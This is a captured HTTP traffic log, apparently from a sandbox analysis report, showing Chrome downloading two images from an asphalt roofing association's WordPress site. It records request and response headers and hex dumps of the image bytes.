Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49819	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	922	OUT	GET /wp-content/uploads/2018/04/3-tab_Phone.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:51 UTC	521	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: image/png Content-Length: 1339120 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:00:20 GMT ETag: "1dc11df-146ef0-5d9f296de0900" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:51 UTC	7671	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0b d0 00 00 0f c0 04 03 00 00 00 52 35 07 71 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 30 50 4c 54 45 de c6 a7 b3 cd ed d4 bc 9f c4 ad 93 b9 a2 8b a3 9c a0 7e 96 b6 c3 75 5d 72 8a a9 69 81 9e b0 65 51 8b 73 63 93 53 3f 68 44 36 2d 1d 19 14 10 13 30 52 c5 de 00 14 6e 49 49 44 41 54 78 da ec 9d 09 72 23 c9 0e 43 19 3c 09 22 ef 7f c8 09 57 92 00 58 2a d9 f2 be f4 cc 5f a6 db 6d 49 a5 92 9b 99 09 82 0f 11 3f e7 9f cc fc cc 27 ff 82 77 80 ef 7f 85 fc 92 8f 0a 8f dc 5d 7d 13 de 7e 63 60 8f cd 7c f0 47 04 f6 e0 fc 88 1f ab a7 8b 40 5d ca 78 33 19 fa 5a 1e 3f c1 f0 7f f6 ef ee 3c e1 0b 77 75 3f Data Ascii: PNGIHDRR5qpHYs+gAMAasRGB0PLTE~u]rieQscS?hD6-0RnIIDATxr#C<"WX*_mI?'w]}~c`\|G@]x3Z?<wu?
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 42 16 03 9f 52 be f0 62 59 f9 ab ab 40 3e 5e 92 5e 95 1b 8e df b1 52 e1 14 f9 9a 27 a5 fc 5e d3 3c df be 24 79 8a 14 10 57 fa 05 ce 9c 03 93 d8 1f 58 e2 f2 f4 89 d1 2e e8 fc b0 b8 f1 f8 84 c3 dc 6e 57 bd 29 65 39 11 48 ea b2 ab dd d3 bc a4 80 29 d8 11 c3 ce 53 69 a1 54 24 cc c3 76 ee 72 de 9c 94 24 33 62 ea cb d1 1a bc 36 e2 91 a9 f5 85 cd 56 eb 53 3b 67 b2 c7 a0 34 72 20 34 bc 7d 46 dd a8 65 dc a1 46 55 85 8e dc 93 5b db 09 53 8b 0b b5 1d 8b 36 f4 dd 7e cd ae ee 6d fb 98 ed c5 98 ba 2d dd a6 96 bd 7d b9 bd 73 a6 68 1f 3d f5 1a 2d 9a 1c 55 3d 2a 60 64 d5 8a 51 94 9c 6e 41 cb d9 de 81 54 8d 3e a8 0d 7d 4d a4 95 e2 df 9b f8 e0 70 d4 66 55 6e 0d 7e 11 34 5f 96 9e 45 2f 4f cd ce 32 49 b0 0c 9f eb 8b 8b 5d be 5b e0 f8 d6 25 02 5f bd 30 7c ff d5 be 82 0e 91 67 Data Ascii: BRbY@>^^R'^<$yWX.nW)e9H)SiT$vr$3b6VS;g4r 4}FeFU[S6~m-}sh=-U=*`dQnAT>}MpfUn~4_E/O2I][%_0\|g
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: fb 02 e2 c5 28 05 dc 30 cf 6c 9e 09 96 19 7b ea bf f6 b4 69 dc e2 06 cc d9 98 e7 a1 b2 5b 14 ce 34 f7 c8 4d 3e a3 bf d1 1b f3 26 d6 ab f0 05 0c d4 58 26 93 ea 5c 32 ed 4f ae 1b c9 f0 d0 a6 ba 20 68 bd 24 8d 63 8e 18 09 a2 ab 99 3d 72 ec f2 c3 3a 85 61 c9 d9 31 bd 31 91 3e d9 3a 84 fc f1 b4 47 bd 0b ed c1 8f ea 1d 31 1c 38 e5 b1 61 42 6d 30 69 0b bd 2f 16 66 27 0c 53 bc 16 85 70 7b fe f3 12 e2 cd e4 65 66 1f cf 22 41 b7 5c 3b f9 b5 77 fa ec ad 76 87 74 89 4b 53 be f9 b5 e8 8b 4f a2 8f 3b 82 b0 8a 75 77 70 17 93 06 9f f8 0a fd 6c 8b 61 b1 1d 6a 7b a4 91 97 ac 5f b3 52 4d 2d be 46 3f fd ff cf eb 85 85 7f e8 64 93 71 65 40 c4 4f ed bc 5e 9f 32 6e 8d b5 27 f1 e3 e2 2d a5 24 99 b3 66 7e 27 94 10 d7 5b 02 8f 19 ef 96 67 86 70 31 36 c9 6a d5 57 3b 5a 7a 2b 33 30 Data Ascii: (0l{i[4M>&X&\2O h$c=r:a11>:G18aBm0i/f'Sp{ef"A\;wvtKSO;uwplaj{_RM-F?dqe@O^2n'-$f~'[gp16jW;Zz+30
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: bc d0 61 ef 4c 05 7e 70 13 ee b6 52 4e b3 b2 2f 01 4b 18 f7 51 e0 e4 f0 56 4d 74 b6 36 d6 7c 03 c9 43 e4 fb c4 e8 9b c6 c0 93 41 87 9c f6 67 fa f0 94 40 9b f6 6b 9c 86 56 59 8f 51 a1 54 cb 5b 00 87 82 7d 9e c8 3a 96 04 a6 92 af b3 a5 a7 85 ff 62 c0 7b 77 b8 7d 34 db 0e b3 7d 49 6a 02 17 43 61 6f f0 c9 49 58 d1 b9 dd 02 ae 55 2f 36 1b d7 00 3b 3c 6c 4d 3e 38 e9 5b 01 52 7b 25 6b e7 65 d1 35 f7 6e 3f 6b 1c 78 ad f5 81 35 2a 9f fd f2 1f 97 3e fe d5 b9 00 7c f5 82 64 34 f4 1c 59 52 2f 28 87 99 67 49 85 a3 55 b8 69 f8 0a d3 c5 98 ed 31 27 8b d1 cc 14 7e c0 91 03 a1 5e aa c2 5a 1a 08 d6 93 98 61 31 4b 64 71 19 9e 8c de 72 39 d6 59 7e c5 75 17 de 00 a2 5b 36 46 32 c3 82 4b 3c a3 43 76 1b 5b 19 2a 03 2a b4 59 d7 05 71 18 80 f7 c5 ba ae d1 9e 1b 4e 6a a9 82 7a a0 Data Ascii: aL~pRN/KQVMt6\|CAg@kVYQT[}:b{w}4}IjCaoIXU/6;<lM>8[R{%ke5n?kx5>\|d4YR/(gIUi1'~^Za1Kdqr9Y~u[6F2K<Cv[*YqNjz
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 93 4c 3f e9 94 59 d8 86 b0 76 a3 14 27 a8 67 a0 50 14 b2 74 7a 28 b9 d7 cd d4 11 a0 14 72 fb 28 5a b3 67 25 6f c7 91 37 ef 1a 95 5a 79 bd fe 1f 5b c2 29 6d a5 16 9a 16 d1 68 63 90 0b d6 fc 39 ff 8d 3c c0 39 56 d2 17 63 a2 92 04 b8 a6 0d 2b f4 af a6 a7 04 e7 0c 64 c3 a2 e3 46 c7 c1 ea 2d db 02 10 f3 5c 60 a4 f8 45 dd d9 2f c2 7c 94 fd 05 cd b4 17 01 67 b5 df fe b2 1c fb 91 a5 f2 03 0a 02 7e e7 c1 93 df f3 b2 be f8 e9 f1 d6 a7 c3 4d 2b e5 ed 33 0b 57 43 54 39 17 19 bf c4 b2 8f 2b fa 41 de f8 7a f6 c2 9e 8b 9d a9 c9 e3 0c 39 c1 2c f3 26 02 cd 8b 43 cc 65 db 90 20 a2 e7 98 a6 14 b6 ed 95 7b 6d 19 b3 a6 af 84 4d 9e a1 58 93 f4 7b 99 a4 53 55 6c 04 a5 99 0b 5f 60 93 6e 6f df b7 05 dc 68 36 49 7d cd 3e 65 5e 14 93 6b db e6 34 53 9d 6a 37 6a 0d e4 c1 f0 e0 5c da Data Ascii: L?Yv'gPtz(r(Zg%o7Zy[)mhc9<9Vc+dF-\`E/\|g~M+3WCT9+Az9,&Ce {mMX{SUl_`noh6I}>e^k4Sj7j\
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 45 ca 4c d7 90 a0 f5 a3 e6 84 85 a8 09 1c 6d 64 4c bf 3c f5 7f a6 44 8d e1 44 d4 7c 33 52 f9 4b 24 e5 ab 2d 6e 71 48 99 b3 10 00 98 ef ec 40 9e 65 6f cd 76 f2 ea 62 82 f7 1a c8 63 29 5c 41 67 8e d6 68 35 c0 ad 30 a7 b2 52 76 43 2d 8d c5 01 69 3d 84 ad 82 ba e0 d6 d0 de 49 8a 29 e1 98 7a 4e fa 4d 84 c8 09 ab 7a 70 06 54 f5 3e 6d 7b 67 ea e1 bb 46 ef c8 f3 e8 2f 64 66 20 11 f8 7d 55 ca dd 5a ed ca b9 2c 5b ec 9d d8 4d e8 f9 f4 16 f7 6f e9 f4 61 f2 cf d5 c7 9a ef 9d 00 3f e4 fb fa c2 d7 c1 c7 85 21 8c 80 28 df be c4 b3 57 8f 43 00 8a 01 37 63 f7 68 5c 4b e1 dd 4d be 71 ae 0e ee a0 e1 f9 8d cc db 23 02 cb 22 d4 ef a9 cd 03 63 f0 7c e1 3f 04 9d 24 62 c7 83 8b 37 ed 46 b7 fd 2e 30 74 0a dc 98 6d c0 4e d2 93 c3 c1 40 8b fb 23 ef c3 d0 99 0a 2e e4 16 53 28 f3 23 Data Ascii: ELmdL<DD\|3RK$-nqH@eovbc)\Agh50RvC-i=I)zNMzpT>m{gF/df }UZ,[Moa?!(WC7ch\KMq#"c\|?$b7F.0tmN@#.S(#
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: c7 dd 70 eb 7d a6 26 bd 9a bd c2 91 36 22 cf 6b 22 d0 ca 0c 3c f6 8f a0 84 e6 e7 46 73 0a e8 11 d5 a2 54 d7 f9 76 66 86 32 54 38 d4 75 4c 71 cf 91 d3 8c 96 16 22 65 9c 85 04 ad 41 8e 3d 08 b6 c9 95 b6 44 4b 7d 9a 9d 65 7f 35 e6 dd 83 6c 88 ba 05 59 2a c9 d5 92 ef bd a9 12 c7 c3 05 97 0e 94 aa 7b 01 8d 58 1b 35 bc a4 a9 5b f5 5f b2 6b f6 d5 f0 ea 29 b6 27 57 64 d7 4e 49 d9 91 22 8d b7 2c 6b 4e b2 b4 47 ad ef 6e 15 67 af 4f 15 0b e7 73 aa 1b de 50 09 6e 6c 96 ff 59 57 fe ed 9b ad 17 ef f0 e1 fc aa 7c 05 70 83 35 17 0e a3 c9 d1 26 f7 c8 54 1d 7d 0e 0b ce fd 9f dc 15 07 61 a1 c1 91 1d e7 91 33 44 2a b5 ea a4 05 a8 17 c7 be f8 ce 95 01 c5 f8 c2 02 06 63 f2 18 92 be f8 90 6c ae f4 3f d7 6a cc e4 3e 42 a2 c2 80 36 a5 d0 8f 3c 3f 6b c9 21 cf cd 62 be 93 25 f7 81 Data Ascii: p}&6"k"<FsTvf2T8uLq"eA=DK}e5lY{X5[_k)'WdNI",kNGngOsPnlYW\|p5&T}a3Dcl?j>B6<?k!b%
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 80 13 ca ec 74 92 37 a7 97 b7 2e db 42 dc b5 e5 dc 78 cc 70 ab f7 3f 4b f2 ee 9c d7 d4 e4 e9 43 bf 6c 21 0d 51 7f 22 6c 96 fb 2c a7 a4 9f 0d 69 ee 48 28 3b 45 5a a0 c9 34 84 31 0d 3c 7d 28 c0 10 36 ab 54 f9 02 59 6e 84 c2 ae e4 c1 4d 80 ae dc f5 26 2a 54 30 4d bb bf 7c 65 ac b6 d4 b7 1d e9 2d bf 6d 9f 6a 96 fb ad 67 c6 e7 74 b2 1f 6f 71 79 f6 27 05 c4 9c 7c a5 8a 96 b8 ab 2a bd d8 d9 7f c5 39 e3 12 d5 cd 2c 90 ab b8 71 bb 08 b8 bd 25 e5 d1 1c f8 19 36 bd 32 2b 8d 93 43 10 64 31 86 f5 05 3a 5d d4 ce 65 cb 1f f6 17 25 ba a8 2c 77 36 5f 97 eb cc e1 c6 07 e1 c9 60 ed b6 9d 59 bb d3 48 8e 26 3c ff b6 9b 6e 99 55 c3 75 9b 5a 1d c8 e4 4b 37 ce 20 15 5a 88 d0 8a 6b ad be ca a8 a9 71 00 59 f7 35 87 75 59 5e ea 7e 3a c4 78 3f e3 e2 a4 77 61 b8 71 26 33 39 e9 b0 69 Data Ascii: t7.Bxp?KCl!Q"l,iH(;EZ41<}(6TYnM&T0M\|e-mjgtoqy'\|9,q%62+Cd1:]e%,w6_`YH&<nUuZK7 ZkqY5uY^~:x?waq&39i
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: c5 7d f6 56 2b a5 e7 d4 f3 73 89 e5 45 b4 98 3a 5e 43 fe a7 55 bf d4 c1 24 df 0c b3 ae e3 c6 21 a7 50 a3 2d 86 97 b0 15 50 f2 7e 82 17 66 24 32 10 22 d9 7c 00 33 d3 c7 6d a5 ef 68 01 ad 50 56 37 08 9b 81 8d ad 27 2b 91 cf a0 ee b1 34 f6 05 f3 7c 58 60 54 90 94 63 e7 89 92 a5 de 84 9b 6e 53 ba ce 64 cd 52 e2 dd 39 ea 1b 36 ab d5 b7 b8 46 14 b9 8f c3 42 42 ef b5 8e 79 21 c0 e9 b4 9e 84 f0 10 32 10 fa cc b2 92 58 b2 6a 2e 5a 6a 58 6a d9 14 94 37 0a d6 5e 42 96 c6 6b f7 14 ed b6 62 ae a6 33 6c 0f 3e 12 6d 57 fe 4c 7f e5 5b eb c9 43 96 79 9c a0 5e f7 cc ea 63 5e 9c 22 f2 3d af d6 92 7c 11 b0 99 17 61 86 88 bf ad 27 60 1e d2 ba 89 d9 75 ee 5c 18 cb 26 cf 48 34 b3 93 72 f8 28 ad 0d eb 53 b0 e5 9e 78 c2 ce e4 b1 1c 49 27 18 f2 f5 e9 d5 62 93 39 6d b8 a9 4a 86 1a Data Ascii: }V+sE:^CU$!P-P~f$2"\|3mhPV7'+4\|X`TcnSdR96FBBy!2Xj.ZjXj7^Bkb3l>mWL[Cy^c^"=\|a'`u\&H4r(SxI'b9mJ
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: c1 dd 54 0c 0c 4e 4e a6 7c de d3 7a d0 1d c8 cb 1b d3 6d 58 94 87 27 95 50 61 a1 d7 bc c2 a3 3a 42 00 62 e5 14 ba 07 a7 e6 d2 a6 76 ec 58 04 53 b9 57 69 5d 06 05 8f 08 40 8c 40 f1 0c 4b 87 55 a0 e0 99 15 1c db 7a e8 14 84 d2 cc 15 b0 96 21 bd 24 dc 29 5f 13 61 d3 bd 00 d5 dc 74 e9 66 b7 67 73 20 6a ec 11 c3 d7 01 ec d7 c5 46 f0 e5 65 64 91 f4 59 81 32 0c 3c 47 4a 2d 14 83 18 e9 82 94 65 12 c7 80 e2 de 3d d9 e0 5d 44 9e b5 0f 67 01 53 cf 44 f3 85 8e ed 71 63 f1 aa 70 9c af d2 d9 bf e9 61 3f b7 98 3e 96 af 4f 7b a9 ea 63 17 8e fb 8b 81 b2 b4 eb ae 6e 93 e3 34 90 37 7f 65 b9 23 75 d9 a5 bd b8 b4 45 41 11 fd 95 e1 d4 49 45 3c 9d 40 96 08 0c 49 7a 2e 8b 56 f8 1c a1 2c 9e ff 64 3f cf a5 c0 9e d5 20 d9 f3 ac 60 5a 4e 6f 81 85 d5 49 a3 37 60 a5 61 f6 38 3a 05 9c Data Ascii: TNN\|zmX'Pa:BbvXSWi]@@KUz!$)_atfgs jFedY2<GJ-e=]DgSDqcpa?>O{cn47e#uEAIE<@Iz.V,d? `ZNoI7`a8:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49820	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:50 UTC	944	OUT	GET /wp-content/uploads/2018/02/museum-of-the-american-revolution.jpg HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:51 UTC	520	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:50 GMT Content-Type: image/jpeg Content-Length: 885375 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 15:02:03 GMT ETag: "1d81eee-d827f-5d9f29d01b0c0" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:53:51 UTC	7672	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 84 00 10 0b 0c 0e 0c 0a 10 0e 0d 0e 12 11 10 13 18 28 1a 18 16 16 18 31 23 25 1d 28 3a 33 3d 3c 39 33 38 37 40 48 5c 4e 40 44 57 45 37 38 50 6d 51 57 5f 62 67 68 67 3e 4d 71 79 70 64 78 5c 65 67 63 01 11 12 12 18 15 18 2f 1a 1a 2f 63 42 38 42 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 63 ff c2 00 11 08 0b b8 0f a0 03 01 22 00 02 11 01 03 11 01 ff c4 00 32 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 e6 26 75 c7 31 5d 01 32 4b ac 84 ca 15 94 93 ae Data Ascii: JFIF(1#%(:3=<9387@H\N@DWE78PmQW_bghg>Mqypdx\egc//cB8Bcccccccccccccccccccccccccccccccccccccccccccccccccc"2&u1]2K
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: ab 6f 36 3d 5a 64 ce ae aa 22 5f 6f 3b 4d f1 96 52 ae 37 66 e6 b8 b3 53 4d 2e bc 6a 59 ec cf 64 14 a5 d2 28 4a a1 4e 75 54 a9 21 64 a7 4c 6a db 65 5c 6a 6d 6b 52 95 51 ad 2b 3a 8d 0f 22 36 47 24 4d a6 18 9d 25 ce 89 d1 39 c8 e9 2e 78 6e 58 45 db 1c 82 6b 8e 76 5e 67 66 95 9c 34 2c ec b6 79 64 69 79 43 51 9d 97 aa 11 a1 e6 0d 05 08 bd d2 17 14 8b 71 52 2d 74 85 ce 80 bc a5 17 aa 44 bc a0 5b ca 91 7a a4 4b 4a 45 ba 35 84 84 a2 42 28 4d 23 40 ba 74 e2 d6 9a 12 76 00 c0 1a a1 bb 22 49 2a 18 91 13 95 a7 15 a8 68 b4 04 93 8c 85 55 b5 05 94 da 36 81 c6 48 85 95 cc 8d 57 54 59 3a ac 1c a1 21 90 69 22 b6 b6 11 0c 14 6f aa 32 ad b4 4b 48 49 36 fa bf 1d ed 3b 62 a2 66 b3 5a b5 55 70 be 10 cb 0a ad d8 d2 b7 20 83 98 40 98 45 b0 84 9b 1a 41 02 41 18 cd ad 6a c5 11 72 Data Ascii: o6=Zd"_o;MR7fSM.jYd(JNuT!dLje\jmkRQ+:"6G$M%9.xnXEkv^gf4,ydiyCQqR-tD[zKJE5B(M#@tv"I*hU6HWTY:!i"o2KHI6;bfZUp @EAAjr
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: ae 54 37 38 c1 7d 99 aa ca ae cd 21 d5 a3 3c be b6 1e 5b 57 34 b3 59 9b 4d 96 46 ce 76 7c 7e 96 4d 4a 7a 54 ce 24 aa 86 5b 96 66 68 8c 64 b9 2b d1 46 e6 8d 39 67 1a 1e 69 e6 d5 2a 8a ba 10 56 55 4e a5 a6 26 2d 47 3a a6 af b5 c5 ec d6 3d b9 27 d3 35 ec e7 df 64 74 f3 75 4b 87 6e 3d a4 6d e7 74 2a 27 33 a6 4a bc 9a d2 ca 63 7e 6c b1 df 1c da a3 65 39 b7 a5 22 7a 32 5b a2 84 a3 bc 83 95 56 ec 89 16 44 93 aa 25 d1 80 b2 80 92 23 14 1c 72 d5 83 66 0c ea dc ba 69 48 00 83 6c 22 d0 87 22 05 88 82 9c 45 25 32 0a 48 13 41 28 32 42 90 26 11 04 37 16 49 a2 12 6c bf 6e 3d f8 bc c6 ae aa 2a 71 d4 72 8c 8b 21 06 5f 0a dd 59 65 12 23 06 81 a8 92 70 09 38 c8 8b 83 09 c0 1b 88 49 a4 39 d6 46 ec d0 2b 44 f2 ab 77 e4 50 2e f5 5e 3f 59 6c 71 84 e7 49 13 8c 51 6e 8c 52 4d 79 Data Ascii: T78}!<[W4YMFv\|~MJzT$[fhd+F9giVUN&-G:='5dtuKn=mt'3Jc~le9"z2[VD%#rfiHl""E%2HA(2B&7Iln=*qr!_Ye#p8I9F+DwP.^?YlqIQnRMy
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 6e 9f 99 b1 af 4d 8b 97 35 d0 64 d7 65 f5 cd 1c b7 15 65 b7 e3 55 b4 c2 93 6c f9 9d 03 3a 9d 72 8d 35 88 dd cd 53 4c b9 d3 a8 ca 09 58 88 95 aa cb 20 4c a5 97 6e 39 62 35 06 8c f6 96 ba 61 65 b4 82 df 2c c1 75 40 29 41 9a cc f2 b2 ea 25 15 4e 24 6c 84 65 51 a7 56 78 8c a2 d7 55 37 3b 9c ab 66 69 61 28 8b b3 0e c6 cf 3e cd 35 11 13 5d 78 f4 23 33 be 04 58 4a 80 86 22 a2 ac d5 66 28 74 65 65 78 f7 62 96 ed 58 b6 d5 cd 48 4c 2c ce 5e 14 4e 61 61 09 0d 49 15 b0 55 09 c0 85 f9 af 46 e3 28 69 a2 a6 05 b1 94 6d 13 51 18 4e 05 b5 5d 50 b4 e4 d4 38 b8 8e 31 8a 58 f2 58 68 42 5a b2 ea c4 91 b2 ab 8a c4 a6 b6 75 bc f6 b3 aa b9 8c ea 3e 4c d2 8a 25 0d 46 ec d5 15 5d 6d f2 b6 0b 16 21 b4 c6 9c 41 4a 03 06 00 19 f2 74 39 06 ba a9 41 3a cd 66 c8 5d 4d 04 54 68 9e 39 4b Data Ascii: nM5deeUl:r5SLX Ln9b5ae,u@)A%N$leQVxU7;fia(>5]x#3XJ"f(teexbXHL,^NaaIUF(imQN]P81XXhBZu>L%F]m!AJt9A:f]MTh9K
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 8e 72 a7 49 28 95 63 95 65 fd 2e 3f 6e de 1b aa 48 ed ae d9 6a 9c f4 42 7d 2b 79 6f cf 59 d7 85 9c 88 6a 8e e6 4a ad 5a 95 f5 39 9e bf 9d cf 1b b4 f8 fa 2a 2c a1 33 db 08 74 9c 98 69 cd ec c6 8d b8 63 26 ca 73 5d 95 f6 da a5 b3 9b a6 88 8e bc fa e4 c9 55 ca b4 e3 d5 55 52 f3 da 5f 75 79 f3 6d dd 9e b8 d1 4d 33 4b d4 9e 6c e9 af 3e 96 67 9d 3d 23 b6 15 55 89 48 9b a5 46 8a d4 0d 79 59 50 96 ac b4 b5 e5 99 d6 ef 78 fe ec d7 45 16 b5 53 9b 2b 94 81 11 d0 72 f7 53 d6 6b 0c ef af 36 32 8d 06 5d 5c cd 16 68 84 69 3d 16 ae 1a b9 d9 47 6f 8f 9e b1 ae da 33 af 2f eb 7c c7 73 b7 1f 55 3f 2f e8 26 0e 67 a0 e3 af 13 47 03 9f ad 7a d8 f9 17 1e b3 0f 05 cb a7 4f 3f 7f 33 8d 51 c1 96 67 66 37 66 96 ae 9c 4e 56 55 2b 2d d4 a6 c7 9a dd 56 e0 76 f4 2d e5 f4 2c ec 52 68 d6 Data Ascii: rI(ce.?nHjB}+yoYjJZ9*,3tic&s]UUR_uymM3Kl>g=#UHFyYPxES+rSk62]\hi=Go3/\|sU?/&gGzO?3Qgf7fNVU+-Vv-,Rh
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 6f 3f 31 8d 4b 04 13 49 87 3c b0 40 0e 50 90 41 b0 4d 80 d0 02 06 00 c4 00 dc 26 00 25 43 84 87 15 66 88 d7 7e e6 1d 6e 3b 5b 5d 72 a7 1b 6f 97 34 de 58 d4 d1 59 b1 e8 ab 3a 84 a5 71 0e 9e 4d 36 14 ca 92 d5 99 96 55 73 28 d1 6c 94 92 21 a5 9c b2 b9 d4 5d a3 36 81 c2 4a 5c b6 45 63 a5 04 ea de 2f db 8b 55 96 38 91 c1 cd ab 36 70 af 8c e2 2e 16 16 74 70 f5 f8 ea a9 c2 ee 55 15 5d 8b 9f 0d c7 79 95 b8 f4 83 a8 45 38 4a 88 44 b2 53 a7 a1 2d bb 2b bb cf ba ea 8c ab 35 3a f0 74 97 c8 07 90 8e e3 4c b1 6a cb 64 46 50 89 6c 11 51 52 8d 11 ef 7a db 7c a7 a8 ab 86 bd ce 25 6e a3 38 c2 c9 42 b0 54 db 49 9d a7 65 93 ae cb 3d 07 53 c8 7a be 5b b6 c9 47 3a b2 59 24 6a b3 16 a2 59 34 44 a1 6b 0a 2e cb 9e cd fc 9d 76 59 c7 3b 35 57 32 56 64 8b 8a 59 79 42 2f 85 61 28 36 Data Ascii: o?1KI<@PAM&%Cf~n;[]ro4XY:qM6Us(l!]6J\Ec/U86p.tpU]yE8JDS-+5:tLjdFPlQRz\|%n8BTIe=Sz[G:Y$jY4Dk.vY;5W2VdYyB/a(6
2024-04-23 14:53:51 UTC	8192	IN	Data Raw: 44 72 40 bb 74 b8 b7 68 7c b4 cc f7 e2 dd 9d cc cf b6 55 e5 96 bd 18 3a 27 66 dc 9a 97 d8 ac c1 2c b6 2a a6 57 90 76 b3 06 ea da db 55 50 4c 77 db a3 73 16 ea 36 65 5e 1b ab 1d 2e ad c5 2a de 95 3b ab b2 cb 2b 9e 57 3a de 2d 97 67 d5 9b 9b 49 18 b3 23 be 9a 8d 92 d1 31 d6 7c ba e9 dc e7 cb 6d 7d 33 96 ee 87 30 b7 3b 95 93 e8 f2 88 dd 0c d7 4b a2 99 43 34 c7 b3 36 e5 53 b2 ad 2c ad 6b 31 1a ed 39 ed a0 27 69 9d 4e 20 09 1d 95 e9 d2 11 22 0c 07 28 94 c6 e1 d2 9c 13 82 2c 44 c5 b0 a2 a1 4c a1 0a 63 09 cf a5 8b c6 3a ae 39 52 d7 03 3c e9 be ac d9 1d 3c ee 6d 58 ad cd b6 aa ae 89 a6 14 ca 2b 4a 1e b3 52 a8 ce a8 cb 45 f4 fa 73 61 19 d4 37 53 7d 66 ea f3 34 4b 45 3d 3e 7a 3d 34 d9 52 49 59 28 80 34 a1 88 01 00 22 18 8a 64 4b 18 e0 46 44 09 20 18 35 8b b6 84 66 Data Ascii: Dr@th\|U:'f,WvUPLws6e^.;+W:-gI#1\|m}30;KC46S,k19'iN "(,DLc:9R<<mX+JREsa7S}f4KE=>z=4RIY(4"dKFD 5f
